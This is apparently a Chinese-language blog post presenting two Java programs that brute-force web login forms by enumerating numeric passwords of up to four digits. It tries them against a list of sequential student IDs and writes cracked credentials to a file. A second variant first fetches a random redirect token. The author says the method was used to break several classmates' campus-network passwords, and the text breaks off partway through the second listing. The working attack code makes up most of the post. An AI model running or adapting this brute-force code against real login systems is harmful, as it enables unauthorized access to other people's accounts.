1. 程式人生 > >java網路程式設計五:暴力法破解登入系統的完全實現(木子)

java網路程式設計五:暴力法破解登入系統的完全實現(木子)

注:以下破解思路及程式碼源自我同學木子

1、先來看一個無任何安全措施的登入系統的破解方法:每次模擬表單提交,若登入成功,此時返回的報頭資訊中有Location欄位,登入失敗無此欄位,繼續模擬登入。直到破解成功,本人成功破解部分同學校園網登入密碼(純四位數字的)程式碼如下:

  1. <span style="font-size:16px;">package demo.net;  
  2. import java.io.IOException;  
  3. import java.io.PrintWriter;  
  4. import java.net.HttpURLConnection;  
  5. import
     java.net.URL;  
  6. import mine.util.io.TextFile;  
  7. //暴力法破解簡單登入系統:該系統無任何安全措施
  8. publicclass PostTest {  
  9.     String urlString = "登入頁面的url";  
  10.     public PostTest() {  
  11.     }  
  12.     public PostTest(String urlString) {  
  13.         this.urlString = urlString;  
  14.     }  
  15.     // 提交一次使用者請求
  16.     privateboolean doPost(String user, String password) {  
  17.         boolean sucess = false;  
  18.         try {  
  19.             URL realUrl = new URL(urlString);  
  20.             HttpURLConnection conn = (HttpURLConnection) realUrl  
  21.                     .openConnection();  
  22.             conn.setDoOutput(true);  
  23.             conn.setDoInput(true);  
  24.             conn.setInstanceFollowRedirects(false
    );  
  25.             // 提交表單,傳送的資料是直接用Firebug擷取的然後把使用者名稱,密碼部分換成引數
  26.             PrintWriter out = new PrintWriter(conn.getOutputStream());  
  27.             out.print("要提交的表單資訊");  
  28.             out.flush();  
  29.             // 如果登入不成功,報頭中沒有Location欄位,getHeaderField("Location") 返回null
  30.             // 登入成功,返回一個隨機的Location欄位
  31.             // System.out.println(conn.getHeaderFields());
  32.             if (conn.getHeaderField("Location") != null) {  
  33.                 sucess = true;  
  34.             }  
  35.         } catch (IOException e) {  
  36.             e.printStackTrace();  
  37.         }  
  38.         return sucess;  
  39.     }  
  40.     // 這是一個全排列演算法, 對特定長度的密碼排列組合,把結果存入list
  41.     // user:使用者名稱 , n:字元下標 , len:字元陣列長度,也就是密碼長度
  42.     privateboolean createPassWord(String user, char[] str, int n, int len) {  
  43.         if (n == len) {  
  44.             String ps = new String(str);  
  45.             if (doPost(user, ps)) {  
  46. //              System.out.println("sucess:" + user + " : " + ps);
  47.                 TextFile.write("file/校園網使用者名稱及密碼.txt"true"sucess:" + user  
  48.                         + " : " + ps + "\n");  
  49.                 returntrue;  
  50.             }  
  51.             returnfalse;  
  52.         }  
  53.         for (int i = 0; i <= 9; i++) {  
  54.             str[n] = (char) (i + '0');  
  55.             if (createPassWord(user, str, n + 1, len))  
  56.                 returntrue;  
  57.         }  
  58.         returnfalse;  
  59.     }  
  60.     // 破解一個使用者的密碼
  61.     publicvoid test(String user) {  
  62.         for (int i = 0; i < 4; i++) {  
  63.             if (createPassWord(user, newchar[i + 1], 0, i + 1))  
  64.                 break;  
  65.         }  
  66.     }  
  67.     publicstaticvoid main(String[] args) {  
  68.         PostTest pt = new PostTest();  
  69.         for (int i = 1; i <= 9; i++)  
  70.             pt.test("09050510" + i);  
  71.         for (int i = 10; i <= 31; i++)  
  72.             pt.test("0905051" + i);  
  73.     }  
  74. }  
  75. </span>  

這個示例程式碼中只破解密碼為4位或4位數字之內的密碼,大概破解一個使用者需要十分鐘。如果破解5、6...更長的密碼,破解時間將很長。

注:以下破解思路及程式碼源自我同學木子

2、在有些登入系統會採用安全措施,每次登入都會在url上產生一個隨機值,該值為報頭資訊中的Location欄位的值,所以破解時要先獲得該值,然後組成真正的url給伺服器傳送表單資訊,這裡要進行兩次連線,第一次獲取Location欄位的值,第二次才是真正的模擬登入。注意要御製重定向。程式碼如下:

  1. <span style="font-size:16px;">package demo.net;  
  2. import java.io.IOException;  
  3. import java.io.PrintWriter;  
  4. import java.net.HttpURLConnection;  
  5. import java.net.URL;  
  6. //暴力法破解登入系統:該登入系統的特徵是報頭資訊中有Location欄位,該欄位的值隨機生成
  7. publicclass HttpTest {  
  8.     //要破解的登入系統的url
  9.     String urlString = "要破解的系統的url";  
  10.     public HttpTest() {  
  11.     }  
  12.     public HttpTest(String urlString) {  
  13.         this.urlString = urlString;  
  14.     }  
  15.     // 提交一次使用者請求
  16.     privateboolean doPost(String user, String password) {  
  17.         boolean sucess = false;  
  18.         try {  
  19.             // 先通過url獲取head中Location欄位,這個欄位是隨機的,每次連線都不一樣
  20.             URL url = new URL(urlString);  
  21.             HttpURLConnection connection = (HttpURLConnection) url  
  22.                     .openConnection();  
  23.             connection.setRequestMethod("HEAD");  
  24.             connection.setInstanceFollowRedirects(false);// 不讓重定向,這樣才會返回Location欄位資訊
  25.             connection.connect();  
  26.             // 通過獲取的Location欄位的資訊構造真正提交表單的url
  27.             URL realUrl = new URL(urlString  
  28.                     + connection.getHeaderField("Location"));  
  29.             HttpURLConnection conn = (HttpURLConnection) realUrl  
  30.                     .openConnection();  
  31.             conn.setDoOutput(true);  
  32.             conn.setDoInput(true);  
  33.             conn.setInstanceFollowRedirects(false);  
  34.             // 提交表單,傳送的資料是直接用Firebug擷取的然後把使用者名稱,密碼部分換成引數
  35.             PrintWriter out = new PrintWriter(conn.getOutputStream());  
  36.             out.print("登入時提交的表單資訊");  
  37.             out.flush();  
  38.             // 如果登入不成功,報頭中沒有Location欄位,getHeaderField("Location") 返回null
  39.             // 登入成功,返回一個隨機的Location欄位
  40.             // System.out.println(conn.getHeaderFields());
  41.             if (conn.getHeaderField("Location") != null) {  
  42.                 sucess = true;  
  43.             }  
  44.         } catch (IOException e) {  
  45.             e.printStackTrace();  
  46.         }  
  47.         return sucess;  
  48.     }  
  49.     // 這是一個全排列演算法, 對特定長度的密碼排列組合,把結果存入list
  50.     // user:使用者名稱 , n:字元下標 , len:字元陣列長度,也就是密碼長度
  51.     privateboolean createPassWord(String user, char[] str, int n, int len) {  
  52.         if (n == len) {  
  53.             String ps = new String(str);  
  54.             if (doPost(user, ps)) {  
  55.                 System.out.println("sucess:" + user + " : " + ps);  
  56.                 returntrue;